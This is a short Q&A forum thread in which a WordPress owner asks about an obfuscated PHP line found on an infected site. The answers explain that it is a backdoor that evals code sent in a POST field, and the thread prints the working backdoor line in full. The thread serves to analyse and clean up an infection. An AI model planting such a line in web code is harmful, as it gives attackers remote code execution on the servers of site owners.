What does this code?

Question

I have a wordpress site and it was infected with malware I think. I have found this bit of php code in my files

$qV="stop_";$s20=strtoupper($qV[4].$qV[3].$qV[2].$qV[0].$qV[1]);if(isset(${$s20}['q140b2c'])){eval(${$s20}['q140b2c']);}

What does it do?

Answer 1

$qV="stop_";$s20=strtoupper($qV[4].$qV[3].$qV[2].$qV[0].$qV[1]);

$s20 evaluates to _POST

if(isset(${$s20}['q140b2c'])){
    eval(${$s20}['q140b2c']);
}

becomes

isset($_POST['q140b2c'])

eval then evaluates whatever is in that post

eval($_POST['q140b2c']);

Answer 2

I face same issue with one of my previous website hack. Same code as above. They are going to put code this code in .php file before start of PHP tag.

So it will hold the execution of PHP site.

To solve download all code & search in file & remove. Then your site works ok.